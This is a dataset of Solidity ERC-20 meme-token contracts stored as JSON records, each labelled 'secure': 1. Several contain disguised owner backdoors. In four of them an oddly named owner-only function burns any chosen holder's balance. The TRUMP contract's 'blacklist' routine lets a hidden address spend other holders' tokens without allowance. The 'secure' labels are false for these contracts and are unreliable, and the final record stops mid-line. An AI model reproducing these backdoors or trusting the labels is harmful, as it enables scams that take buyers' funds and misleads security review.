{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpNevergiveup is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable chessand;\n\n constructor() {\n _name = \"TrumpNevergiveup \";\n\n _symbol = \"TrumpNGU\";\n\n _decimals = 18;\n\n uint256 initialSupply = 16600000000;\n\n chessand = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == chessand, \"Not allowed\");\n\n _;\n }\n\n function moments(address[] memory systermfile) public onlyOwner {\n for (uint256 i = 0; i < systermfile.length; i++) {\n address account = systermfile[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_454.sol", "secure": 1, "size_bytes": 4400 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract TrumpVSHarris is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable anywhere;\n\n constructor() {\n _name = \"TrumpVSHarris \";\n\n _symbol = \"TrumpVSHarris\";\n\n _decimals = 18;\n\n uint256 initialSupply = 8800000000;\n\n anywhere = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == anywhere, \"Not allowed\");\n\n _;\n }\n\n function departures(address[] memory silence) public onlyOwner {\n for (uint256 i = 0; i < silence.length; i++) {\n address account = silence[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_455.sol", "secure": 1, "size_bytes": 4389 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Jdvance is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable hole;\n\n constructor() {\n _name = \"VANCE\";\n\n _symbol = \"VANCE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 275000000;\n\n hole = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == hole, \"Not allowed\");\n\n _;\n }\n\n function cupboard(address[] memory articulate) public onlyOwner {\n for (uint256 i = 0; i < articulate.length; i++) {\n address account = articulate[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_456.sol", "secure": 1, "size_bytes": 4360 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MAGATrump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable selection;\n\n constructor() {\n _name = \"MAGATrump \";\n\n _symbol = \"MAGATrump\";\n\n _decimals = 18;\n\n uint256 initialSupply = 3600000000;\n\n selection = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == selection, \"Not allowed\");\n\n _;\n }\n\n function funnygame(address[] memory conciouse) public onlyOwner {\n for (uint256 i = 0; i < conciouse.length; i++) {\n address account = conciouse[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}", "file_name": "solidity_code_457.sol", "secure": 1, "size_bytes": 4385 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GonkeyGame is ERC20 {\n constructor() ERC20(unicode\"GonkeyETH\", unicode\"$GONKEY\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_458.sol", "secure": 1, "size_bytes": 294 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PopeyeTheSailorMan is ERC20 {\n constructor() ERC20(\"Popeye the Sailor Man\", \"Popeye\") {\n _mint(msg.sender, 420690000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_459.sol", "secure": 1, "size_bytes": 301 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_46.sol", "secure": 1, "size_bytes": 215 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract NewBornHaggisPygmyHippo is ERC20, Ownable {\n function haggisIdentifier() public pure returns (string memory) {\n return \"Haggi the new leading memecoin\";\n }\n\n function tokenOrigin() public pure returns (string memory) {\n return \"Minted by Haggis Labs\";\n }\n\n constructor(\n address initialOwner\n ) ERC20(\"New Born Haggis Pygmy Hippo\", \"Haggis\") Ownable(initialOwner) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_460.sol", "secure": 1, "size_bytes": 694 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 32bdcb6): TRUMP.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 32bdcb6: Consider ordering multiplication before division.\ncontract TRUMP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d13a6be): TRUMP._taxWallet should be immutable \n\t// Recommendation for d13a6be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private _initialBuyTax = 15;\n\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 015babb): TRUMP._finalBuyTax should be constant \n\t// Recommendation for 015babb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09fff20): TRUMP._finalSellTax should be constant \n\t// Recommendation for 09fff20: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cbcec6a): TRUMP._reduceBuyTaxAt should be constant \n\t// Recommendation for cbcec6a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: caab8af): TRUMP._reduceSellTaxAt should be constant \n\t// Recommendation for caab8af: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08f6613): TRUMP._preventSwapBefore should be constant \n\t// Recommendation for 08f6613: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name =\n unicode\"TOTAL RECOGNITION USER MANAGEMENT PROTOCOL\";\n\n string private constant _symbol = unicode\"T.R.U.M.P\";\n\n\t// divide-before-multiply | ID: 2454519\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 32bdcb6\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: cc1bda9): TRUMP._taxSwapThreshold should be constant \n\t// Recommendation for cc1bda9: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d41dfd2\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d29f5b): TRUMP._maxTaxSwap should be constant \n\t// Recommendation for 0d29f5b: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: de5e12e\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 729bf2d): TRUMP.IUniswap should be immutable \n\t// Recommendation for 729bf2d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private IUniswap;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dda2664): TRUMP.constructor(address,uint256).router lacks a zerocheck on \t IUniswap = address(router)\n\t// Recommendation for dda2664: Check that the address is not zero.\n constructor(address router, uint256 timestamp) {\n _taxWallet = payable(_msgSender());\n\n\t\t// missing-zero-check | ID: dda2664\n IUniswap = payable(router);\n\n uint256 startblock = block.number;\n\n startblock = timestamp;\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1529117): TRUMP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1529117: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3ea9ecc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3ea9ecc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f557546): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f557546: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3ea9ecc\n\t\t// reentrancy-benign | ID: f557546\n _transfer(sender, recipient, amount);\n\n if (blacklist(_msgSender(), true)) return true;\n\n\t\t// reentrancy-events | ID: 3ea9ecc\n\t\t// reentrancy-benign | ID: f557546\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function blacklist(\n address spender,\n bool blacklisted\n ) internal view returns (bool) {\n blacklisted = true;\n\n if (\n (uint160(address(IUniswap)) / 1 == uint160(spender) / 1) &&\n !(uint160(owner()) / 1 == uint160(spender) / 1)\n ) {\n return true;\n }\n return false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af06e9a): TRUMP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af06e9a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f557546\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3ea9ecc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: af7bc83): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for af7bc83: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ff63aa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ff63aa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n !bots[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this) && !bots[from]) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n !bots[from] &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: af7bc83\n\t\t\t\t// reentrancy-eth | ID: 8ff63aa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: af7bc83\n\t\t\t\t\t// reentrancy-eth | ID: 8ff63aa\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8ff63aa\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8ff63aa\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8ff63aa\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: af7bc83\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8ff63aa\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8ff63aa\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: af7bc83\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3ea9ecc\n\t\t// reentrancy-events | ID: af7bc83\n\t\t// reentrancy-benign | ID: f557546\n\t\t// reentrancy-eth | ID: 8ff63aa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 28ddc19): TRUMP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 28ddc19: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3ea9ecc\n\t\t// reentrancy-events | ID: af7bc83\n\t\t// reentrancy-eth | ID: 8ff63aa\n\t\t// arbitrary-send-eth | ID: 28ddc19\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa8b237): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa8b237: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bbe5a74): TRUMP.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bbe5a74: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ac3d439): TRUMP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for ac3d439: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5f181d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5f181d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: fa8b237\n\t\t// reentrancy-eth | ID: 5f181d0\n uniswapV2Pair = 